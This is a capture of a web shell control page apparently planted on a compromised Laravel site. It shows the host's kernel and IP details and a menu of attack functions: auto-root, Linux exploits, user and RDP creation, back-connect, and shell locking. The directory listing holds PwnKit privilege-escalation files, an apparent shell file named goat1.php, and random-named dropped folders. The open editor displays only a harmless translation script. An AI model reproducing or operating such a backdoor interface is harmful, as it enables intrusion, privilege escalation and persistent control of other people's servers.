Linux server1.signalhg.team 4.18.0-553.134.1.el8_10.x86_64 #1 SMP Tue Jun 16 16:05:57 EDT 2026 x86_64
Apache
: 209.74.80.147 | : 216.73.217.16
150 Domain
8.1.34
signgwph
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
signgwph /
signaltechdemo21.com /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
.well-known
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
app
[ DIR ]
drwxrwxr-x
bootstrap
[ DIR ]
drwxrwxr-x
config
[ DIR ]
drwxrwxr-x
database
[ DIR ]
drwxrwxr-x
fugabxq
[ DIR ]
drwxr-xr-x
genzwvp
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
jouwbkv
[ DIR ]
drwxr-xr-x
main-file
[ DIR ]
drwxrwxr-x
node_modules
[ DIR ]
drwxrwxr-x
pcwoqek
[ DIR ]
drwxr-xr-x
public
[ DIR ]
drwxrwxrwx
resources
[ DIR ]
drwxrwxr-x
routes
[ DIR ]
drwxrwxr-x
rzng1fd
[ DIR ]
drwxr-xr-x
snfvkeq
[ DIR ]
drwxr-xr-x
storage
[ DIR ]
drwxrwxrwx
tests
[ DIR ]
drwxrwxr-x
vendor
[ DIR ]
drwxrwxr-x
xiqorbm
[ DIR ]
drwxr-xr-x
zstpryo
[ DIR ]
drwxr-xr-x
.DS_Store
8
KB
-rw-rw-r--
.editorconfig
258
B
-rw-rw-r--
.env
611
B
-rwxrwxrwx
.gitattributes
160
B
-rw-rw-r--
.gitignore
364
B
-rw-rw-r--
.htaccess
479
B
-rw-r--r--
.mad-root
0
B
-rw-r--r--
.prettierignore
74
B
-rw-rw-r--
.prettierrc
438
B
-rw-rw-r--
artisan
425
B
-rwxrwxr-x
codecanyon-RWEj9LyP-task-tasks...
184.53
MB
-rw-r--r--
components.json
509
B
-rw-rw-r--
composer.json
3.55
KB
-rw-rw-r--
composer.lock
489.06
KB
-rw-rw-r--
error_log
258
B
-rw-r--r--
eslint.config.js
1.25
KB
-rw-rw-r--
extract-translations.php
2.87
KB
-rw-rw-r--
goat1.php
143.87
KB
-rw-r--r--
index.php
1.18
KB
-rw-r--r--
license-pcae.php
629
B
-rw-r--r--
package-lock.json
461.05
KB
-rw-rw-r--
package.json
3.79
KB
-rw-rw-r--
phpunit.xml
1.15
KB
-rw-rw-r--
pwnkit
10.99
KB
-rwxr-xr-x
robots.txt
86
B
-rw-r--r--
tsconfig.json
12.67
KB
-rw-rw-r--
vite.config.ts
1.88
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : extract-translations.php
<?php // Define the directories to scan $directories = [ __DIR__ . '/resources/js/pages', __DIR__ . '/resources/js/pages/config', __DIR__ . '/resources/js/components', __DIR__ . '/resources/js/layouts', __DIR__ . '/resources/views', __DIR__ . '/app' ]; $outputFile = __DIR__ . '/resources/lang/en.json'; // Initialize an array to store translations $translations = []; // Load existing translations if the file exists if (file_exists($outputFile)) { $existingContent = file_get_contents($outputFile); $translations = json_decode($existingContent, true) ?: []; } // Function to recursively scan directories function scanDirectory($dir, &$translations) { if (!is_dir($dir)) { return; } $files = scandir($dir); foreach ($files as $file) { if ($file === '.' || $file === '..') { continue; } $path = $dir . '/' . $file; if (is_dir($path)) { scanDirectory($path, $translations); } else { $extension = pathinfo($path, PATHINFO_EXTENSION); if (in_array($extension, ['tsx', 'jsx', 'php', 'blade.php', 'ts'])) { extractTranslations($path, $translations); } } } } // Function to extract translations from a file function extractTranslations($file, &$translations) { $content = file_get_contents($file); // Match t("...") pattern - ensure it's the t function, not part of another word preg_match_all('/(?<![a-zA-Z0-9_])t\("([^"]*)"\)/', $content, $doubleQuoteMatches); // Match t('...') pattern - ensure it's the t function, not part of another word preg_match_all("/(?<![a-zA-Z0-9_])t\('([^']*)'\)/", $content, $singleQuoteMatches); // Match __("...") pattern preg_match_all('/__\("([^"]*)"\)/', $content, $doubleQuoteMatchesUnderscore); // Match __('...') pattern preg_match_all("/__\('([^']*)'\)/", $content, $singleQuoteMatchesUnderscore); // Add matches to translations array foreach ($doubleQuoteMatches[1] as $match) { $translations[$match] = $match; } foreach ($singleQuoteMatches[1] as $match) { $translations[$match] = $match; } foreach ($doubleQuoteMatchesUnderscore[1] as $match) { $translations[$match] = $match; } foreach ($singleQuoteMatchesUnderscore[1] as $match) { $translations[$match] = $match; } } // Start scanning all directories foreach ($directories as $directory) { scanDirectory($directory, $translations); } // Sort translations alphabetically ksort($translations); // Create directory if it doesn't exist $outputDir = dirname($outputFile); if (!is_dir($outputDir)) { mkdir($outputDir, 0755, true); } // Write to file file_put_contents($outputFile, json_encode($translations, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE)); echo "Translation extraction complete. Found " . count($translations) . " strings.\n";
Close